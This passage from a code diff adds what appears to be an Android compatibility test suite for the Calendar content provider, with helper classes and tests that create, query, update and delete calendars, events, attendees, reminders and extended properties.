+        public static int lookupHasAlarm(ContentResolver resolver, long eventId) {
+            return getIntFromDatabase(resolver, Events.CONTENT_URI, eventId,
+                    Events.HAS_ALARM);
+        }
+    }
+
+    /**
+     * Helper class for manipulating entries in the Attendees table.
+     */
+    private static class AttendeeHelper {
+        public static final String[] ATTENDEES_PROJECTION = new String[] {
+            Attendees._ID,
+            Attendees.EVENT_ID,
+            Attendees.ATTENDEE_NAME,
+            Attendees.ATTENDEE_EMAIL,
+            Attendees.ATTENDEE_STATUS,
+            Attendees.ATTENDEE_RELATIONSHIP,
+            Attendees.ATTENDEE_TYPE
+        };
+        // indexes into projection
+        public static final int ATTENDEES_ID_INDEX = 0;
+        public static final int ATTENDEES_EVENT_ID_INDEX = 1;
+
+        // do not instantiate
+        private AttendeeHelper() {}
+
+        /**
+         * Adds a new attendee to the specified event.
+         *
+         * @return the _id of the new attendee, or -1 on failure
+         */
+        public static long addAttendee(ContentResolver resolver, long eventId, String name,
+                String email, int status, int relationship, int type) {
+            Uri uri = Attendees.CONTENT_URI;
+
+            ContentValues attendee = new ContentValues();
+            attendee.put(Attendees.EVENT_ID, eventId);
+            attendee.put(Attendees.ATTENDEE_NAME, name);
+            attendee.put(Attendees.ATTENDEE_EMAIL, email);
+            attendee.put(Attendees.ATTENDEE_STATUS, status);
+            attendee.put(Attendees.ATTENDEE_RELATIONSHIP, relationship);
+            attendee.put(Attendees.ATTENDEE_TYPE, type);
+            Uri result = resolver.insert(uri, attendee);
+            return ContentUris.parseId(result);
+        }
+
+        /**
+         * Finds all Attendees rows for the specified event and email address.  The returned
+         * cursor will use {@link AttendeeHelper#ATTENDEES_PROJECTION}.
+         */
+        public static Cursor findAttendeesByEmail(ContentResolver resolver, long eventId,
+                String email) {
+            return resolver.query(Attendees.CONTENT_URI, ATTENDEES_PROJECTION,
+                    Attendees.EVENT_ID + "=? AND " + Attendees.ATTENDEE_EMAIL + "=?",
+                    new String[] { String.valueOf(eventId), email }, null);
+        }
+    }
+
+    /**
+     * Helper class for manipulating entries in the Colors table.
+     */
+    private static class ColorHelper {
+        public static final String WHERE_COLOR_ACCOUNT = Colors.ACCOUNT_NAME + "=? AND "
+                + Colors.ACCOUNT_TYPE + "=?";
+        public static final String WHERE_COLOR_ACCOUNT_AND_INDEX = WHERE_COLOR_ACCOUNT + " AND "
+                + Colors.COLOR_KEY + "=?";
+
+        public static final String[] COLORS_PROJECTION = new String[] {
+                Colors._ID, // 0
+                Colors.ACCOUNT_NAME, // 1
+                Colors.ACCOUNT_TYPE, // 2
+                Colors.DATA, // 3
+                Colors.COLOR_TYPE, // 4
+                Colors.COLOR_KEY, // 5
+                Colors.COLOR, // 6
+        };
+        // indexes into projection
+        public static final int COLORS_ID_INDEX = 0;
+        public static final int COLORS_INDEX_INDEX = 5;
+        public static final int COLORS_COLOR_INDEX = 6;
+
+        public static final int[] DEFAULT_TYPES = new int[] {
+                Colors.TYPE_CALENDAR, Colors.TYPE_CALENDAR, Colors.TYPE_CALENDAR,
+                Colors.TYPE_CALENDAR, Colors.TYPE_EVENT, Colors.TYPE_EVENT, Colors.TYPE_EVENT,
+                Colors.TYPE_EVENT,
+        };
+        public static final int[] DEFAULT_COLORS = new int[] {
+                0xFFFF0000, 0xFF00FF00, 0xFF0000FF, 0xFFAA00AA, 0xFF00AAAA, 0xFF333333, 0xFFAAAA00,
+                0xFFAAAAAA,
+        };
+        public static final String[] DEFAULT_INDICES = new String[] {
+                "000", "001", "010", "011", "100", "101", "110", "111",
+        };
+
+        public static final int C_COLOR_0 = 0;
+        public static final int C_COLOR_1 = 1;
+        public static final int C_COLOR_2 = 2;
+        public static final int C_COLOR_3 = 3;
+        public static final int E_COLOR_0 = 4;
+        public static final int E_COLOR_1 = 5;
+        public static final int E_COLOR_2 = 6;
+        public static final int E_COLOR_3 = 7;
+
+        // do not instantiate
+        private ColorHelper() {
+        }
+
+        /**
+         * Adds a new color to the colors table.
+         *
+         * @return the _id of the new color, or -1 on failure
+         */
+        public static long addColor(ContentResolver resolver, String accountName,
+                String accountType, String data, String index, int type, int color) {
+            Uri uri = asSyncAdapter(Colors.CONTENT_URI, accountName, accountType);
+
+            ContentValues colorValues = new ContentValues();
+            colorValues.put(Colors.DATA, data);
+            colorValues.put(Colors.COLOR_KEY, index);
+            colorValues.put(Colors.COLOR_TYPE, type);
+            colorValues.put(Colors.COLOR, color);
+            Uri result = resolver.insert(uri, colorValues);
+            return ContentUris.parseId(result);
+        }
+
+        /**
+         * Finds the color specified by an account name/type and a color index.
+         * The returned cursor will use {@link ColorHelper#COLORS_PROJECTION}.
+         */
+        public static Cursor findColorByIndex(ContentResolver resolver, String accountName,
+                String accountType, String index) {
+            return resolver.query(Colors.CONTENT_URI, COLORS_PROJECTION,
+                    WHERE_COLOR_ACCOUNT_AND_INDEX,
+                    new String[] {accountName, accountType, index}, null);
+        }
+
+        public static Cursor findColorsByAccount(ContentResolver resolver, String accountName,
+                String accountType) {
+            return resolver.query(Colors.CONTENT_URI, COLORS_PROJECTION, WHERE_COLOR_ACCOUNT,
+                    new String[] { accountName, accountType }, null);
+        }
+
+        /**
+         * Adds a default set of test colors to the Colors table under the given
+         * account.
+         *
+         * @return true if the default colors were added successfully
+         */
+        public static boolean addDefaultColorsToAccount(ContentResolver resolver,
+                String accountName, String accountType) {
+            for (int i = 0; i < DEFAULT_INDICES.length; i++) {
+                long id = addColor(resolver, accountName, accountType, null, DEFAULT_INDICES[i],
+                        DEFAULT_TYPES[i], DEFAULT_COLORS[i]);
+                if (id == -1) {
+                    return false;
+                }
+            }
+            return true;
+        }
+
+        public static void deleteColorsByAccount(ContentResolver resolver, String accountName,
+                String accountType) {
+            Uri uri = asSyncAdapter(Colors.CONTENT_URI, accountName, accountType);
+            resolver.delete(uri, WHERE_COLOR_ACCOUNT, new String[] { accountName, accountType });
+        }
+    }
+
+
+    /**
+     * Helper class for manipulating entries in the Reminders table.
+     */
+    private static class ReminderHelper {
+        public static final String[] REMINDERS_PROJECTION = new String[] {
+            Reminders._ID,
+            Reminders.EVENT_ID,
+            Reminders.MINUTES,
+            Reminders.METHOD
+        };
+        // indexes into projection
+        public static final int REMINDERS_ID_INDEX = 0;
+        public static final int REMINDERS_EVENT_ID_INDEX = 1;
+        public static final int REMINDERS_MINUTES_INDEX = 2;
+        public static final int REMINDERS_METHOD_INDEX = 3;
+
+        // do not instantiate
+        private ReminderHelper() {}
+
+        /**
+         * Adds a new reminder to the specified event.
+         *
+         * @return the _id of the new reminder, or -1 on failure
+         */
+        public static long addReminder(ContentResolver resolver, long eventId, int minutes,
+                int method) {
+            Uri uri = Reminders.CONTENT_URI;
+
+            ContentValues reminder = new ContentValues();
+            reminder.put(Reminders.EVENT_ID, eventId);
+            reminder.put(Reminders.MINUTES, minutes);
+            reminder.put(Reminders.METHOD, method);
+            Uri result = resolver.insert(uri, reminder);
+            return ContentUris.parseId(result);
+        }
+
+        /**
+         * Finds all Reminders rows for the specified event.  The returned cursor will use
+         * {@link ReminderHelper#REMINDERS_PROJECTION}.
+         */
+        public static Cursor findRemindersByEventId(ContentResolver resolver, long eventId) {
+            return resolver.query(Reminders.CONTENT_URI, REMINDERS_PROJECTION,
+                    Reminders.EVENT_ID + "=?", new String[] { String.valueOf(eventId) }, null);
+        }
+
+        /**
+         * Looks up the specified Reminders row and returns the "method" value.
+         */
+        public static int lookupMethod(ContentResolver resolver, long remId) {
+            return getIntFromDatabase(resolver, Reminders.CONTENT_URI, remId,
+                    Reminders.METHOD);
+        }
+   }
+
+    /**
+     * Helper class for manipulating entries in the ExtendedProperties table.
+     */
+    private static class ExtendedPropertiesHelper {
+        public static final String[] EXTENDED_PROPERTIES_PROJECTION = new String[] {
+            ExtendedProperties._ID,
+            ExtendedProperties.EVENT_ID,
+            ExtendedProperties.NAME,
+            ExtendedProperties.VALUE
+        };
+        // indexes into projection
+        public static final int EXTENDED_PROPERTIES_ID_INDEX = 0;
+        public static final int EXTENDED_PROPERTIES_EVENT_ID_INDEX = 1;
+        public static final int EXTENDED_PROPERTIES_NAME_INDEX = 2;
+        public static final int EXTENDED_PROPERTIES_VALUE_INDEX = 3;
+
+        // do not instantiate
+        private ExtendedPropertiesHelper() {}
+
+        /**
+         * Adds a new ExtendedProperty for the specified event.  Runs as sync adapter.
+         *
+         * @return the _id of the new ExtendedProperty, or -1 on failure
+         */
+        public static long addExtendedProperty(ContentResolver resolver, String account,
+                long eventId, String name, String value) {
+             Uri uri = asSyncAdapter(ExtendedProperties.CONTENT_URI, account, CTS_TEST_TYPE);
+
+            ContentValues ep = new ContentValues();
+            ep.put(ExtendedProperties.EVENT_ID, eventId);
+            ep.put(ExtendedProperties.NAME, name);
+            ep.put(ExtendedProperties.VALUE, value);
+            Uri result = resolver.insert(uri, ep);
+            return ContentUris.parseId(result);
+        }
+
+        /**
+         * Finds all ExtendedProperties rows for the specified event.  The returned cursor will
+         * use {@link ExtendedPropertiesHelper#EXTENDED_PROPERTIES_PROJECTION}.
+         */
+        public static Cursor findExtendedPropertiesByEventId(ContentResolver resolver,
+                long eventId) {
+            return resolver.query(ExtendedProperties.CONTENT_URI, EXTENDED_PROPERTIES_PROJECTION,
+                    ExtendedProperties.EVENT_ID + "=?",
+                    new String[] { String.valueOf(eventId) }, null);
+        }
+
+        /**
+         * Finds an ExtendedProperties entry with a matching name for the specified event, and
+         * returns the value.  Throws an exception if we don't find exactly one row.
+         */
+        public static String lookupValueByName(ContentResolver resolver, long eventId,
+                String name) {
+            Cursor cursor = resolver.query(ExtendedProperties.CONTENT_URI,
+                    EXTENDED_PROPERTIES_PROJECTION,
+                    ExtendedProperties.EVENT_ID + "=? AND " + ExtendedProperties.NAME + "=?",
+                    new String[] { String.valueOf(eventId), name }, null);
+
+            try {
+                if (cursor.getCount() != 1) {
+                    throw new RuntimeException("Got " + cursor.getCount() + " results, expected 1");
+                }
+
+                cursor.moveToFirst();
+                return cursor.getString(EXTENDED_PROPERTIES_VALUE_INDEX);
+            } finally {
+                if (cursor != null) {
+                    cursor.close();
+                }
+            }
+        }
+    }
+
+    /**
+     * Creates an updated URI that includes query parameters that identify the source as a
+     * sync adapter.
+     */
+    static Uri asSyncAdapter(Uri uri, String account, String accountType) {
+        return uri.buildUpon()
+                .appendQueryParameter(android.provider.CalendarContract.CALLER_IS_SYNCADAPTER,
+                        "true")
+                .appendQueryParameter(Calendars.ACCOUNT_NAME, account)
+                .appendQueryParameter(Calendars.ACCOUNT_TYPE, accountType).build();
+    }
+
+    /**
+     * Returns the value of the specified row and column in the Events table, as an integer.
+     * Throws an exception if the specified row or column doesn't exist or doesn't contain
+     * an integer (e.g. null entry).
+     */
+    private static int getIntFromDatabase(ContentResolver resolver, Uri uri, long rowId,
+            String columnName) {
+        String[] projection = { columnName };
+        String selection = SQL_WHERE_ID;
+        String[] selectionArgs = { String.valueOf(rowId) };
+
+        Cursor c = resolver.query(uri, projection, selection, selectionArgs, null);
+        try {
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+            return c.getInt(0);
+        } finally {
+            c.close();
+        }
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
+    }
+
+    @MediumTest
+    public void testCalendarCreationAndDeletion() {
+        String account = "cc1_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+        long id = createAndVerifyCalendar(account, seed++, null);
+
+        removeAndVerifyCalendar(account, id);
+    }
+
+    /**
+     * Tests whether the default projections work.  We don't need to have any data in
+     * the calendar, since it's testing the database schema.
+     */
+    @MediumTest
+    public void testDefaultProjections() {
+        String account = "dproj_account";
+        int seed = 0;
+
+        // Clean up just in case
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+        long id = createAndVerifyCalendar(account, seed++, null);
+
+        Cursor c;
+        Uri uri;
+        // Calendars
+        c = mContentResolver.query(Calendars.CONTENT_URI, null, null, null, null);
+        c.close();
+        // Events
+        c = mContentResolver.query(Events.CONTENT_URI, null, null, null, null);
+        c.close();
+        // Instances
+        uri = Uri.withAppendedPath(Instances.CONTENT_URI, "0/1");
+        c = mContentResolver.query(uri, null, null, null, null);
+        c.close();
+        // Attendees
+        c = mContentResolver.query(Attendees.CONTENT_URI, null, null, null, null);
+        c.close();
+        // Reminders (only REMINDERS_ID currently uses default projection)
+        uri = ContentUris.withAppendedId(Reminders.CONTENT_URI, 0);
+        c = mContentResolver.query(uri, null, null, null, null);
+        c.close();
+        // CalendarAlerts
+        c = mContentResolver.query(CalendarContract.CalendarAlerts.CONTENT_URI,
+                null, null, null, null);
+        c.close();
+        // CalendarCache
+        c = mContentResolver.query(CalendarContract.CalendarCache.URI,
+                null, null, null, null);
+        c.close();
+        // CalendarEntity
+        c = mContentResolver.query(CalendarContract.CalendarEntity.CONTENT_URI,
+                null, null, null, null);
+        c.close();
+        // EventEntities
+        c = mContentResolver.query(CalendarContract.EventsEntity.CONTENT_URI,
+                null, null, null, null);
+        c.close();
+        // EventDays
+        uri = Uri.withAppendedPath(CalendarContract.EventDays.CONTENT_URI, "1/2");
+        c = mContentResolver.query(uri, null, null, null, null);
+        c.close();
+        // ExtendedProperties
+        c = mContentResolver.query(CalendarContract.ExtendedProperties.CONTENT_URI,
+                null, null, null, null);
+        c.close();
+
+        removeAndVerifyCalendar(account, id);
+    }
+
+    /**
+     * Exercises the EventsEntity class.
+     */
+    @MediumTest
+    public void testEventsEntityQuery() {
+        String account = "eeq_account";
+        int seed = 0;
+
+        // Clean up just in case.
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        // Create calendar.
+        long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+        // Create three events.  We need to make sure SELF_ATTENDEE_STATUS isn't set, because
+        // that causes the provider to generate an Attendees entry, and that'll throw off
+        // our expected count.
+        ContentValues eventValues;
+        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+        eventValues.remove(Events.SELF_ATTENDEE_STATUS);
+        long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+        assertTrue(eventId1 >= 0);
+
+        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+        eventValues.remove(Events.SELF_ATTENDEE_STATUS);
+        long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+        assertTrue(eventId2 >= 0);
+
+        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+        eventValues.remove(Events.SELF_ATTENDEE_STATUS);
+        long eventId3 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+        assertTrue(eventId3 >= 0);
+
+        /*
+         * Add some attendees, reminders, and extended properties.
+         */
+        Uri uri, syncUri;
+
+        syncUri = asSyncAdapter(Reminders.CONTENT_URI, account, CTS_TEST_TYPE);
+        ContentValues remValues = new ContentValues();
+        remValues.put(Reminders.EVENT_ID, eventId1);
+        remValues.put(Reminders.MINUTES, 10);
+        remValues.put(Reminders.METHOD, Reminders.METHOD_ALERT);
+        mContentResolver.insert(syncUri, remValues);
+        remValues.put(Reminders.MINUTES, 20);
+        mContentResolver.insert(syncUri, remValues);
+
+        syncUri = asSyncAdapter(ExtendedProperties.CONTENT_URI, account, CTS_TEST_TYPE);
+        ContentValues extended = new ContentValues();
+        extended.put(ExtendedProperties.NAME, "foo");
+        extended.put(ExtendedProperties.VALUE, "bar");
+        extended.put(ExtendedProperties.EVENT_ID, eventId2);
+        mContentResolver.insert(syncUri, extended);
+        extended.put(ExtendedProperties.EVENT_ID, eventId1);
+        mContentResolver.insert(syncUri, extended);
+        extended.put(ExtendedProperties.NAME, "foo2");
+        extended.put(ExtendedProperties.VALUE, "bar2");
+        mContentResolver.insert(syncUri, extended);
+
+        syncUri = asSyncAdapter(Attendees.CONTENT_URI, account, CTS_TEST_TYPE);
+        ContentValues attendee = new ContentValues();
+        attendee.put(Attendees.ATTENDEE_NAME, "Joe");
+        attendee.put(Attendees.ATTENDEE_EMAIL, CalendarHelper.generateCalendarOwnerEmail(account));
+        attendee.put(Attendees.ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_DECLINED);
+        attendee.put(Attendees.ATTENDEE_TYPE, Attendees.TYPE_REQUIRED);
+        attendee.put(Attendees.ATTENDEE_RELATIONSHIP, Attendees.RELATIONSHIP_PERFORMER);
+        attendee.put(Attendees.EVENT_ID, eventId3);
+        mContentResolver.insert(syncUri, attendee);
+
+        /*
+         * Iterate over all events on our calendar.  Peek at a few values to see if they
+         * look reasonable.
+         */
+        EntityIterator ei = EventsEntity.newEntityIterator(
+                mContentResolver.query(EventsEntity.CONTENT_URI, null, Events.CALENDAR_ID + "=?",
+                        new String[] { String.valueOf(calendarId) }, null),
+                mContentResolver);
+        int count = 0;
+        try {
+            while (ei.hasNext()) {
+                Entity entity = ei.next();
+                ContentValues values = entity.getEntityValues();
+                ArrayList<Entity.NamedContentValues> subvalues = entity.getSubValues();
+                long eventId = values.getAsLong(Events._ID);
+                if (eventId == eventId1) {
+                    // 2 x reminder, 2 x extended properties
+                    assertEquals(4, subvalues.size());
+                } else if (eventId == eventId2) {
+                    // Extended properties
+                    assertEquals(1, subvalues.size());
+                    ContentValues subContentValues = subvalues.get(0).values;
+                    String name = subContentValues.getAsString(
+                            CalendarContract.ExtendedProperties.NAME);
+                    String value = subContentValues.getAsString(
+                            CalendarContract.ExtendedProperties.VALUE);
+                    assertEquals("foo", name);
+                    assertEquals("bar", value);
+                } else if (eventId == eventId3) {
+                    // Attendees
+                    assertEquals(1, subvalues.size());
+                } else {
+                    fail("should not be here");
+                }
+                count++;
+            }
+            assertEquals(3, count);
+        } finally {
+            ei.close();
+        }
+
+        // Confirm that querying for a single event yields a single event.
+        ei = EventsEntity.newEntityIterator(
+                mContentResolver.query(EventsEntity.CONTENT_URI, null, SQL_WHERE_ID,
+                        new String[] { String.valueOf(eventId3) }, null),
+                mContentResolver);
+        try {
+            count = 0;
+            while (ei.hasNext()) {
+                Entity entity = ei.next();
+                count++;
+            }
+            assertEquals(1, count);
+        } finally {
+            ei.close();
+        }
+
+
+        removeAndVerifyCalendar(account, calendarId);
+    }
+
+    /**
+     * Exercises the CalendarEntity class.
+     */
+    @MediumTest
+    public void testCalendarEntityQuery() {
+        String account1 = "ceq1_account";
+        String account2 = "ceq2_account";
+        String account3 = "ceq3_account";
+        int seed = 0;
+
+        // Clean up just in case.
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account1);
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account2);
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account3);
+
+        // Create calendars.
+        long calendarId1 = createAndVerifyCalendar(account1, seed++, null);
+        long calendarId2 = createAndVerifyCalendar(account2, seed++, null);
+        long calendarId3 = createAndVerifyCalendar(account3, seed++, null);
+
+        EntityIterator ei = CalendarEntity.newEntityIterator(
+                mContentResolver.query(CalendarEntity.CONTENT_URI, null,
+                        Calendars._ID + "=? OR " + Calendars._ID + "=? OR " + Calendars._ID + "=?",
+                        new String[] { String.valueOf(calendarId1), String.valueOf(calendarId2),
+                                String.valueOf(calendarId3) },
+                        null));
+
+        try {
+            int count = 0;
+            while (ei.hasNext()) {
+                Entity entity = ei.next();
+                count++;
+            }
+            assertEquals(3, count);
+        } finally {
+            ei.close();
+        }
+
+        removeAndVerifyCalendar(account1, calendarId1);
+        removeAndVerifyCalendar(account2, calendarId2);
+        removeAndVerifyCalendar(account3, calendarId3);
+    }
+
+    /**
+     * Tests creation and manipulation of Attendees.
+     */
+    @MediumTest
+    public void testAttendees() {
+        String account = "att_account";
+        int seed = 0;
+
+        // Clean up just in case.
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        // Create calendar.
+        long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+        // Create two events, one with a value set for SELF_ATTENDEE_STATUS, one without.
+        ContentValues eventValues;
+        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+        eventValues.put(Events.SELF_ATTENDEE_STATUS, Events.STATUS_TENTATIVE);
+        long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+        assertTrue(eventId1 >= 0);
+
+        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+        eventValues.remove(Events.SELF_ATTENDEE_STATUS);
+        long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+        assertTrue(eventId2 >= 0);
+
+        /*
+         * Add some attendees to the first event.
+         */
+        long attId1 = AttendeeHelper.addAttendee(mContentResolver, eventId1,
+                "Alice",
+                "alice@example.com",
+                Attendees.ATTENDEE_STATUS_TENTATIVE,
+                Attendees.RELATIONSHIP_ATTENDEE,
+                Attendees.TYPE_REQUIRED);
+        long attId2 = AttendeeHelper.addAttendee(mContentResolver, eventId1,
+                "Betty",
+                "betty@example.com",
+                Attendees.ATTENDEE_STATUS_DECLINED,
+                Attendees.RELATIONSHIP_ATTENDEE,
+                Attendees.TYPE_NONE);
+        long attId3 = AttendeeHelper.addAttendee(mContentResolver, eventId1,
+                "Carol",
+                "carol@example.com",
+                Attendees.ATTENDEE_STATUS_DECLINED,
+                Attendees.RELATIONSHIP_ATTENDEE,
+                Attendees.TYPE_OPTIONAL);
+
+        /*
+         * Find the event1 "self" attendee entry.
+         */
+        Cursor cursor = AttendeeHelper.findAttendeesByEmail(mContentResolver, eventId1,
+                CalendarHelper.generateCalendarOwnerEmail(account));
+        try {
+            assertEquals(1, cursor.getCount());
+            //DatabaseUtils.dumpCursor(cursor);
+
+            cursor.moveToFirst();
+            long id = cursor.getLong(AttendeeHelper.ATTENDEES_ID_INDEX);
+
+            /*
+             * Update the status field.  The provider should automatically propagate the result.
+             */
+            ContentValues update = new ContentValues();
+            Uri uri = ContentUris.withAppendedId(Attendees.CONTENT_URI, id);
+
+            update.put(Attendees.ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_ACCEPTED);
+            int count = mContentResolver.update(uri, update, null, null);
+            assertEquals(1, count);
+
+            int status = EventHelper.lookupSelfAttendeeStatus(mContentResolver, eventId1);
+            assertEquals(Attendees.ATTENDEE_STATUS_ACCEPTED, status);
+
+        } finally {
+            if (cursor != null) {
+                cursor.close();
+            }
+        }
+
+        /*
+         * Do a bulk update of all Attendees for this event, changing any Attendee with status
+         * "declined" to "invited".
+         */
+        ContentValues bulkUpdate = new ContentValues();
+        bulkUpdate.put(Attendees.ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_INVITED);
+
+        int count = mContentResolver.update(Attendees.CONTENT_URI, bulkUpdate,
+                Attendees.EVENT_ID + "=? AND " + Attendees.ATTENDEE_STATUS + "=?",
+                new String[] {
+                    String.valueOf(eventId1), String.valueOf(Attendees.ATTENDEE_STATUS_DECLINED)
+                });
+        assertEquals(2, count);
+
+        /*
+         * Add a new, non-self attendee to the second event.
+         */
+        long attId4 = AttendeeHelper.addAttendee(mContentResolver, eventId2,
+                "Diana",
+                "diana@example.com",
+                Attendees.ATTENDEE_STATUS_ACCEPTED,
+                Attendees.RELATIONSHIP_ATTENDEE,
+                Attendees.TYPE_REQUIRED);
+
+        /*
+         * Confirm that the selfAttendeeStatus on the second event has the default value.
+         */
+        int status = EventHelper.lookupSelfAttendeeStatus(mContentResolver, eventId2);
+        assertEquals(Attendees.ATTENDEE_STATUS_NONE, status);
+
+        /*
+         * Create a new "self" attendee in the second event by updating the email address to
+         * match that of the calendar owner.
+         */
+        ContentValues newSelf = new ContentValues();
+        newSelf.put(Attendees.ATTENDEE_EMAIL, CalendarHelper.generateCalendarOwnerEmail(account));
+        count = mContentResolver.update(ContentUris.withAppendedId(Attendees.CONTENT_URI, attId4),
+                newSelf, null, null);
+        assertEquals(1, count);
+
+        /*
+         * Confirm that the event's selfAttendeeStatus has been updated.
+         */
+        status = EventHelper.lookupSelfAttendeeStatus(mContentResolver, eventId2);
+        assertEquals(Attendees.ATTENDEE_STATUS_ACCEPTED, status);
+
+        /*
+         * TODO:  (these are unexpected usage patterns)
+         * - Update an Attendee's status and event_id to move it to a different event, and
+         *   confirm that the selfAttendeeStatus in the destination event is updated (rather
+         *   than that of the source event).
+         * - Create two Attendees with email addresses that match "self" but have different
+         *   values for "status".  Delete one and confirm that selfAttendeeStatus is changed
+         *   to that of the remaining Attendee.  (There is no defined behavior for
+         *   selfAttendeeStatus when there are multiple matching Attendees.)
+         */
+
+        /*
+         * Test deletion, singly by ID and in bulk.
+         */
+        count = mContentResolver.delete(ContentUris.withAppendedId(Attendees.CONTENT_URI, attId4),
+                null, null);
+        assertEquals(1, count);
+
+        count = mContentResolver.delete(Attendees.CONTENT_URI, Attendees.EVENT_ID + "=?",
+                new String[] { String.valueOf(eventId1) });
+        assertEquals(4, count);     // 3 we created + 1 auto-added by the provider
+
+        removeAndVerifyCalendar(account, calendarId);
+    }
+
+    /**
+     * Tests creation and manipulation of Reminders.
+     */
+    @MediumTest
+    public void testReminders() {
+        String account = "rem_account";
+        int seed = 0;
+
+        // Clean up just in case.
+        CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+        // Create calendar.
+        long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+        // Create events.
+        ContentValues eventValues;
+        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+        long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+        assertTrue(eventId1 >= 0);
+        eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
+        long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+        assertTrue(eventId2 >= 0);
+
+        // No reminders, hasAlarm should be zero.
+        int hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId1);
+        assertEquals(0, hasAlarm);
+        hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId2);
+        assertEquals(0, hasAlarm);
+
+        /*
+         * Add some reminders.
+         */
+        long remId1 = ReminderHelper.addReminder(mContentResolver, eventId1,
+                10, Reminders.METHOD_DEFAULT);
+        long remId2 = ReminderHelper.addReminder(mContentResolver, eventId1,
+                15, Reminders.METHOD_ALERT);
+        long remId3 = ReminderHelper.addReminder(mContentResolver, eventId1,
+                20, Reminders.METHOD_SMS);  // SMS isn't allowed for this calendar
+
+        // Should have been set to 1 by provider.
+        hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId1);
+        assertEquals(1, hasAlarm);
+
+        // Add a reminder to event2.
+        ReminderHelper.addReminder(mContentResolver, eventId2,
+                20, Reminders.METHOD_DEFAULT);
+        hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId2);
+        assertEquals(1, hasAlarm);
+
+
+        /*
+         * Check the entries.
+         */
+        Cursor cursor = ReminderHelper.findRemindersByEventId(mContentResolver, eventId1);
+        try {
+            assertEquals(3, cursor.getCount());
+            //DatabaseUtils.dumpCursor(cursor);
+
+            while (cursor.moveToNext()) {
+                int minutes = cursor.getInt(ReminderHelper.REMINDERS_MINUTES_INDEX);
+                int method = cursor.getInt(ReminderHelper.REMINDERS_METHOD_INDEX);
+                switch (minutes) {
+                    case 10:
+                        assertEquals(Reminders.METHOD_DEFAULT, method);
+                        break;
+                    case 15:
+                        assertEquals(Reminders.METHOD_ALERT, method);
+                        break;
+                    case 20:
+                        assertEquals(Reminders.METHOD_SMS, method);
+                        break;
+                    default:
+                        fail("unexpected minutes " + minutes);
+                        break;
+                }
+            }
+        } finally {
+            if (cursor != null) {
+                cursor.close();
+            }
+        }
+
+        /*
+         * Use the bulk update feature to change all METHOD_DEFAULT to METHOD_EMAIL.  To make
+         * this more interesting we first change remId3 to METHOD_DEFAULT.
+         */
+        int count;
+        ContentValues newValues = new ContentValues();
+        newValues.put(Reminders.METHOD, Reminders.METHOD_DEFAULT);
+        count = mContentResolver.update(ContentUris.withAppendedId(Reminders.CONTENT_URI, remId3),
+                newValues, null, null);
+        assertEquals(1, count);
+
+        newValues.put(Reminders.METHOD, Reminders.METHOD_EMAIL);
+        count = mContentResolver.update(Reminders.CONTENT_URI, newValues,
+                Reminders.EVENT_ID + "=? AND " + Reminders.METHOD + "=?",
+                new String[] {
+                    String.valueOf(eventId1), String.valueOf(Reminders.METHOD_DEFAULT)
+                });
+        assertEquals(2, count);
+
+        // check it
+        int method = ReminderHelper.lookupMethod(mContentResolver, remId3);
+        assertEquals(Reminders.METHOD_EMAIL, method);
+
+        /*
+         * Delete some / all reminders and confirm that hasAlarm tracks it.
+         *
+         * You can also remove reminders from an event by updating the event_id column, but
+         * that's defined as producing undefined behavior, so we don't do it here.
+         */
+        count = mContentResolver.delete(Reminders.CONTENT_URI,
+                Reminders.EVENT_ID + "=? AND " + Reminders.MINUTES + ">=?",
+                new String[] { String.valueOf(eventId1), "15" });
+        assertEquals(2, count);
+        hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId1);
+        assertEquals(1, hasAlarm);
+
+        // Delete all reminders from both events.
+        count = mContentResolver.delete(Reminders.CONTENT_URI,
+                Reminders.EVENT_ID + "=? OR " + Reminders.EVENT_ID + "=?",
+                new String[] { String.valueOf(eventId1), String.valueOf(eventId2) });
+        assertEquals(2, count);
+        hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId1);
+        assertEquals(0, hasAlarm);
+        hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId2);
+        assertEquals(0, hasAlarm);
+
+        /*
+         * Add a couple of reminders and then delete one with the by-ID URI.
+         */
+        long remId4 = ReminderHelper.addReminder(mContentResolver, eventId1,
+                10, Reminders.METHOD_EMAIL);
+        long remId5 = ReminderHelper.addReminder(mContentResolver, eventId1,
+                15, Reminders.METHOD_EMAIL);
+        count = mContentResolver.delete(ContentUris.withAppendedId(Reminders.CONTENT_URI, remId4),
